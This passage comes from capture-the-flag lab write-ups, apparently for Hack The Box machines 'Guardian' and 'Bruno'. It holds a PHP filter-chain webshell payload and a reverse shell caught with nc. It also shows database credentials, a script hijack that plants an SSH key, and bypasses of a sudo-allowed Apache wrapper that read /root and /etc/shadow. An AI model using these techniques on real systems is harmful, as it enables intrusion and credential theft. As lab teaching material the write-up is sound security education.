t.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
To pass the restrictions, I’ll replace the php://temp with reports/enrollment.php, and load the URL:
It works:
The injected PHP is run. The results also confirm that remote includes are disabled:
I’ll create a new chain with a webshell:
oxdf@hacky$uv run php_filter_chain_generator.py --chain'<?php system($_GET["cmd"]); ?>'[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
To get a shell, I’ll update the URL with a bash reverse shell, and catch it at nc:
oxdf@hacky$nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.237.248 46204
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
www-data@guardian:~/portal.guardian.htb/admin$
www-data can’t access any of them. This matches the users with shells configured in passwd:
www-data@guardian:/home$cat /etc/passwd | grep'sh$'root:x:0:0:root:/root:/bin/bash
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
sammy:x:1002:1003::/home/sammy:/bin/bash
sudo requires a password to even list permissions, and I wouldn’t expect www-data to have sudo permissions unless the website was doing something that specifically used them.
Web
The www-data user’s home directory is /var/www, which has three directories:
www-data@guardian:~$lsguardian.htb html portal.guardian.htb
html is empty. Otherwise, the source looks very much like what I retrieved from Gitea.
www-data@guardian:~$mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3996
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
These passwords are all salted with the salt from the config.php file, “8Sb)tM1vs1SS”. In vim, I can add this to the end of every line with :%s/$/ string/:
jamil@guardian:~$sudo-lMatching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
In /opt there are three folders:
jamil@guardian:/opt$lscontainerd google scripts
containerd is only accessible by root, but it’s almost certainly the default containerd runtime used by Docker or Kubernetes. I haven’t seen any Docker on this box, but maybe it’s a leftover. google has a Chrome install (likely used by the automation to trigger the XSS or the CSRF). scripts has a series of Python files, including the one that jamil can run as mark:
I’ll note that most of the files are owned by root:admins and only writable by root, the status.py file is owned by mark:admins and writable by the admins group. jamil is in the admins group:
Understanding the utilities.py script is not important to using it to escalate, but I’ll take a look regardless. Sadly, it’s a pretty unrealistic setup. For some reason it does user checks
#!/usr/bin/env python3
importargparseimportgetpassimportsysfromutilsimportdbfromutilsimportattachmentsfromutilsimportlogsfromutilsimportstatusdefmain():parser=argparse.ArgumentParser(description="University Server Utilities Toolkit")parser.add_argument("action",choices=["backup-db","zip-attachments","collect-logs","system-status"],help="Action to perform")args=parser.parse_args()user=getpass.getuser()ifargs.action=="backup-db":ifuser!="mark":print("Access denied.")sys.exit(1)db.backup_database()elifargs.action=="zip-attachments":ifuser!="mark":print("Access denied.")sys.exit(1)attachments.zip_attachments()elifargs.action=="collect-logs":ifuser!="mark":print("Access denied.")sys.exit(1)logs.collect_logs()elifargs.action=="system-status":status.system_status()else:print("Unknown action.")if__name__=="__main__":main()
It uses argparse to get an action, and does some user validation. Then it calls functions based on the action from the other scripts. The other script do things like backup the uploaded attachments and print the CPU and memory usage.
Write Python
To run as mark, I just need to edit the status.py so that when the system_status function is called, it does whatever I want as mark. I’ll add code to write an SSH key:
importplatformimportpsutilimportosdefsystem_status():print("System:",platform.system(),platform.release())print("CPU usage:",psutil.cpu_percent(),"%")print("Memory usage:",psutil.virtual_memory().percent,"%")os.makedirs('/home/mark/.ssh',mode=0o700,exist_ok=True)withopen('/home/mark/.ssh/authorized_keys','a')asf:f.write('\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n')print('Wrote SSH key to /home/mark/.ssh/authorized_keys')
I’ll run it as mark:
jamil@guardian:/opt/scripts/utilities/utils$sudo-u mark /opt/scripts/utilities/utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 50.0 %
Memory usage: 32.2 %
Wrote SSH key to /home/mark/.ssh/authorized_keys
mark’s home directory is empty other than the standard stuff and an empty confs directory:
mark@guardian:~$ls-latotal 32
drwxr-x--- 5 mark mark 4096 Feb 25 13:34 .
drwxr-xr-x 6 root root 4096 Jul 30 2025 ..
lrwxrwxrwx 1 root root 9 Jul 14 2025 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark 220 Apr 18 2025 .bash_logout
-rw-r--r-- 1 mark mark 3805 Apr 19 2025 .bashrc
drwx------ 2 mark mark 4096 Apr 26 2025 .cache
drwxrwxr-x 2 mark mark 4096 Jul 13 2025 confs
lrwxrwxrwx 1 root root 9 Apr 19 2025 .mysql_history -> /dev/null
-rw-r--r-- 1 mark mark 807 Apr 18 2025 .profile
drwx------ 2 mark mark 4096 Feb 25 13:34 .ssh
mark can run safeapache2ctl as any user with sudo:
mark@guardian:~$sudo-lMatching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
It’s a ELF binary:
mark@guardian:~$file /usr/local/bin/safeapache2ctl
/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped
If I try to point to a file outside of /home/mark/confs, it complains:
mark@guardian:~/confs$sudo safeapache2ctl -f /etc/passwd
Access denied: config must be inside /home/mark/confs/
I can create a file, and try to run it:
mark@guardian:~/confs$touch 0xdf.conf
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
AH00534: apache2: Configuration error: No MPM loaded.
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This error is because Apache requires the MPM module to initialize, even just to do a config syntax check. There are three MPM modules on this host:
I’ll open it in Ghidra. After the analysis, it shows a relatively small number of functions:
The main function is where the work is done:
undefined8main(intargc,undefined8*argv){intresult;char*res;FILE*config_file;longin_FS_OFFSET;charline_buf[1024];charresolved_path[4104];longstack_canary;stack_canary=*(long*)(in_FS_OFFSET+0x28);if(argc==3){result=strcmp((char*)argv[1],"-f");if(result==0){res=realpath((char*)argv[2],resolved_path);if(res==(char*)0x0){perror("realpath");}else{result=starts_with(resolved_path,"/home/mark/confs/");if(result==0){fprintf(stderr,"Access denied: config must be inside %s\n","/home/mark/confs/");}else{config_file=fopen(resolved_path,"r");if(config_file==(FILE*)0x0){perror("fopen");}else{do{res=fgets(line_buf,0x400,config_file);if(res==(char*)0x0){fclose(config_file);execl("/usr/sbin/apache2ctl","apache2ctl",&-f,resolved_path,0);perror("execl failed");gotoLAB_00101663;}result=is_unsafe_line(line_buf);}while(result==0);fwrite("Blocked: Config includes unsafe directive.\n",1,0x2b,stderr);fclose(config_file);}}}gotoLAB_00101663;}}fprintf(stderr,"Usage: %s -f /home/mark/confs/file.conf\n",*argv);LAB_00101663:if(stack_canary!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}return1;}
It requires exactly two args, the first of which must be -f, and the second of which is a path. It uses realpath to resolve symlinks, and then makes sure that the path starts with /home/mark/confs. It opens the path argument and reads line by line, passing each line through is_unsafe_line(). If any call to is_unsafe_line returns 0, it breaks and exits with an error. Otherwise, it runs apache2ctl -f <path>. apache2ctl is a binary for controlling the Apache2 binary. When called this way without a command, it only validates the configuration and exits.
is_unsafe_line tries to limit what can be included in the apache2ctl config:
undefined8is_unsafe_line(undefined8line){intresult;undefined8is_unsafe;longin_FS_OFFSET;chardirective[32];chardirective_arg[4104];longstack_canary;stack_canary=*(long*)(in_FS_OFFSET+0x28);result=__isoc99_sscanf(line,"%31s %1023s",directive,directive_arg);if(result!=2){is_unsafe=0;gotoLAB_00101423;}result=strcmp(directive,"Include");if(result==0){LAB_001013c6:if(directive_arg[0]=='/'){result=starts_with(directive_arg,"/home/mark/confs/");if(result==0){fprintf(stderr,"[!] Blocked: %s is outside of %s\n",directive_arg,"/home/mark/confs/");is_unsafe=1;gotoLAB_00101423;}}}else{result=strcmp(directive,"IncludeOptional");if(result==0)gotoLAB_001013c6;result=strcmp(directive,"LoadModule");if(result==0)gotoLAB_001013c6;}is_unsafe=0;LAB_00101423:if(stack_canary!=*(long*)(in_FS_OFFSET+0x28)){/* WARNING: Subroutine does not return */__stack_chk_fail();}returnis_unsafe;}
It reads the first two whitespace delimited strings from the line into directive and directive_arg. If the directive is Include, it attempts to make sure the arg is in /home/mark/confs. It tries the same block for IncludeOptional and LoadModule.
Bypassing safeapache2ctl
Strategy
There are so many issues with this binary. Aside from being completely unrealistic that someone would write a binary to do this, it has successfully identified three directives that could be dangerous, and then done almost nothing to actually stop me from using them.
The issues that immediately jumped out to me are:
It’s making case sensitive string checks where the directives are not case sensitive.
It is trying to limit the directive directory but doesn’t check for ../.
It tries to validate that the second arg to LoadModule is in /home/mark/confs but the path to the module is the third arg.
Even if that path was validated, there’s nothing stopping me from making a malicious module in /home/mark/confs.
While the binary uses realpath to resolve symlinks on the config file, it doesn’t on the directive args, so symlinks can bypass.
I can have it set up a webserver in any directory and read from it (for a short period of time).
This all makes a mess of a set of paths to get to root:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A-->L(Web Server File Read);
L-->D;
A[Shell as mark]-->B(Case Sensitive\nCheck);
B-->C(Include File Read);
C-->D(root.txt);
A-->G(Directory Traversal);
G-->D;
A-->J(Symlink);
J-->C;
J-->I;
A-->H(Evil SO in confs\nChecks Wrong Arg);
H-->I(LoadModule);
I-->F[Shell as root];
B-->I;
G-->I;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 0,7,8 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
I’ll show each of the five identified issues with the binary, though not every combination.
It’s also worth noting that there’s an aggressive cleanup script clearing this directory every two minutes. That’s really bad box design on HTB’s part. There are multiple ways to get around the issue of players seeing each others’ config that don’t involve that.
Case Sensitivity
The check in the binary for the module name looks like:
result=strcmp(directive,"Include");
That’s a case-sensitive compare, but Apache directives are case insensitive. If I try to Include /root/root.txt, it will fail:
mark@guardian:~/confs$cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
Include /root/root.txt
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
[!] Blocked: /root/root.txt is outside of /home/mark/confs/
Blocked: Config includes unsafe directive.
But if I mess with the casing:
mark@guardian:~/confs$cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
InClUde /root/root.txt
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
That’s file read of the first line of any file. That includes the root hash from shadow:
mark@guardian:~/confs$cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
IncLude /etc/shadow
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
The password doesn’t crack in rockyou.txt.
Directory Traversal
The directory check on the second arg only checks that it starts with /home/mark/confs:
So even if I use the cased “Include” that matches, I can use a directory traversal to go anywhere on the box:
mark@guardian:~/confs$cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
Include /home/mark/confs/../../../root/root.txt
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This gives first line file read as root through Include.
Symlinks
The program never resolves links, so I can also just create a symlink pointing to the file I want to read:
mark@guardian:~/confs$ln-s /root/root.txt
mark@guardian:~/confs$cat 0xdf.conf
LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
Include /home/mark/confs/root.txt
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
AH00526: Syntax error on line 1 of /home/mark/confs/root.txt:
Invalid command 'ef91575c************************', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
This gives the same first line file read as the others.
Evil Module
The way to get a shell on this box is to load a malicious library using LoadModule. The program tries to limit this to modules in /home/mark/confs. This isn’t really a limitation, as I can:
Just create a malicious shared object in that directory. OR
Use any of the three bypasses above. OR
It actually doesn’t matter because the path is the third argument not the second so the check doesn’t apply (which is why I am able to load the MPM module needed anyway).
The directory requirement only applies if the first character of the arg is /:
apache2ctl will start a server for a brief period of time to make sure it works. I’ll need to define the basic configuration to read files from a server:
Now when I start this, the webserver will be up and listening for around ~5-10 seconds:
mark@guardian:~/confs$sudo safeapache2ctl -f ./0xdf.conf
mark@guardian:~/confs$netstat -tnlp | grep 9000
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN -
mark@guardian:~/confs$curl localhost:9000/root.txt
ef91575c************************
Bruno is a Windows Active Directory box. I’ll start by finding a .NET sample scanning application on FTP, and after reverse engineering it, discover a ZipSlip vulnerability in how it handles zip archives. Combining that with a DLL hijack, I’ll get a shell as the service account that runs the scanner. For privilege escalation, I’ll exploit the lack of LDAP signing by performing a Kerberos relay attack, setting up resource-based constrained delegation to impersonate the Administrator.
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.238.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 02:26 UTC
...[snip]...
Nmap scan report for 10.129.238.9
Host is up, received echo-reply ttl 127 (0.024s latency).
Scanned at 2026-02-19 02:26:24 UTC for 13s
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
53361/tcp open unknown syn-ack ttl 127
56036/tcp open unknown syn-ack ttl 127
56041/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
Raw packets sent: 131059 (5.767MB) | Rcvd: 32 (1.920KB)
oxdf@hacky$sudo nmap -p 21,53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,9389,49664,49668,53361,56036,56041 -sCV 10.129.238.9
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 02:28 UTC
Nmap scan report for 10.129.238.9
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-29-22 04:55PM <DIR> app
| 06-29-22 04:33PM <DIR> benign
| 06-29-22 01:41PM <DIR> malicious
|_06-29-22 04:33PM <DIR> queue
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-19 02:27:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=bruno-BRUNODC-CA
| Not valid before: 2022-06-29T13:23:01
|_Not valid after: 2121-06-29T13:33:00
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-02-19T02:29:18+00:00; -40s from scanner time.
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Not valid before: 2025-10-08T09:36:40
|_Not valid after: 2026-04-09T09:36:40
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
53361/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
56036/tcp open msrpc Microsoft Windows RPC
56041/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BRUNODC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-02-19T02:28:39
|_ start_date: N/A
